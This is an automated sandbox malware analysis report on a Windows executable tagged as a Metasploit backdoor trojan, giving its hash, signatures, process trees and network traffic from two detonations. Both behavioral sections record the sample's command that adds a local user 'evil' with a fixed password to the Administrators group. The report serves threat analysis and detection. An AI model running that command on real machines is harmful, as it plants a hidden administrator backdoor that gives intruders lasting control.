Malware Analysis Report

2025-01-03 08:02

Sample ID 240420-ytn5jsgf39
Target fd8918c67d99f1c54e592b5fe79cd104_JaffaCakes118
SHA256 c6d32aa42367461bbf30392751a11a894b24afdf53727efcdd21233c798cf1e7
Tags
metasploit backdoor trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c6d32aa42367461bbf30392751a11a894b24afdf53727efcdd21233c798cf1e7

Threat Level: Known bad

The file fd8918c67d99f1c54e592b5fe79cd104_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

metasploit backdoor trojan

MetaSploit

Metasploit family

Grants admin privileges

Unsigned PE

Runs net.exe

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-20 20:04

Signatures

Metasploit family

metasploit

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-20 20:04

Reported

2024-04-20 20:07

Platform

win7-20240221-en

Max time kernel

120s

Max time network

125s

Command Line

"C:\Users\Admin\AppData\Local\Temp\fd8918c67d99f1c54e592b5fe79cd104_JaffaCakes118.exe"

Signatures

MetaSploit

trojan backdoor metasploit

Grants admin privileges

Runs net.exe

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2148 wrote to memory of 3048 N/A C:\Users\Admin\AppData\Local\Temp\fd8918c67d99f1c54e592b5fe79cd104_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 2148 wrote to memory of 3048 N/A C:\Users\Admin\AppData\Local\Temp\fd8918c67d99f1c54e592b5fe79cd104_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 2148 wrote to memory of 3048 N/A C:\Users\Admin\AppData\Local\Temp\fd8918c67d99f1c54e592b5fe79cd104_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 2148 wrote to memory of 3048 N/A C:\Users\Admin\AppData\Local\Temp\fd8918c67d99f1c54e592b5fe79cd104_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 3048 wrote to memory of 592 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 3048 wrote to memory of 592 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 3048 wrote to memory of 592 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 3048 wrote to memory of 592 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 592 wrote to memory of 324 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 592 wrote to memory of 324 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 592 wrote to memory of 324 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 592 wrote to memory of 324 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 3048 wrote to memory of 1164 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 3048 wrote to memory of 1164 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 3048 wrote to memory of 1164 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 3048 wrote to memory of 1164 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 1164 wrote to memory of 1012 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1164 wrote to memory of 1012 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1164 wrote to memory of 1012 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1164 wrote to memory of 1012 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe

Processes

C:\Users\Admin\AppData\Local\Temp\fd8918c67d99f1c54e592b5fe79cd104_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\fd8918c67d99f1c54e592b5fe79cd104_JaffaCakes118.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c net user evil salah /ADD && net localgroup Administrators evil /ADD

C:\Windows\SysWOW64\net.exe

net user evil salah /ADD

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 user evil salah /ADD

C:\Windows\SysWOW64\net.exe

net localgroup Administrators evil /ADD

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Administrators evil /ADD

Network

N/A

Files

memory/2148-0-0x0000000000020000-0x0000000000021000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-20 20:04

Reported

2024-04-20 20:07

Platform

win10v2004-20240412-en

Max time kernel

121s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\fd8918c67d99f1c54e592b5fe79cd104_JaffaCakes118.exe"

Signatures

MetaSploit

trojan backdoor metasploit

Grants admin privileges

Runs net.exe

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3180 wrote to memory of 380 N/A C:\Users\Admin\AppData\Local\Temp\fd8918c67d99f1c54e592b5fe79cd104_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 3180 wrote to memory of 380 N/A C:\Users\Admin\AppData\Local\Temp\fd8918c67d99f1c54e592b5fe79cd104_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 3180 wrote to memory of 380 N/A C:\Users\Admin\AppData\Local\Temp\fd8918c67d99f1c54e592b5fe79cd104_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 380 wrote to memory of 4688 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 380 wrote to memory of 4688 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 380 wrote to memory of 4688 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 4688 wrote to memory of 4448 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 4688 wrote to memory of 4448 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 4688 wrote to memory of 4448 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 380 wrote to memory of 4100 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 380 wrote to memory of 4100 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 380 wrote to memory of 4100 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 4100 wrote to memory of 4464 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 4100 wrote to memory of 4464 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 4100 wrote to memory of 4464 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe

Processes

C:\Users\Admin\AppData\Local\Temp\fd8918c67d99f1c54e592b5fe79cd104_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\fd8918c67d99f1c54e592b5fe79cd104_JaffaCakes118.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c net user evil salah /ADD && net localgroup Administrators evil /ADD

C:\Windows\SysWOW64\net.exe

net user evil salah /ADD

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 user evil salah /ADD

C:\Windows\SysWOW64\net.exe

net localgroup Administrators evil /ADD

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Administrators evil /ADD

Network

Country Destination Domain Proto
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 156.33.209.4.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 21.114.53.23.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 25.14.97.104.in-addr.arpa udp
US 8.8.8.8:53 154.173.246.72.in-addr.arpa udp
US 8.8.8.8:53 67.32.209.4.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 144.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 48.251.17.2.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp

Files

memory/3180-0-0x0000000000480000-0x0000000000481000-memory.dmp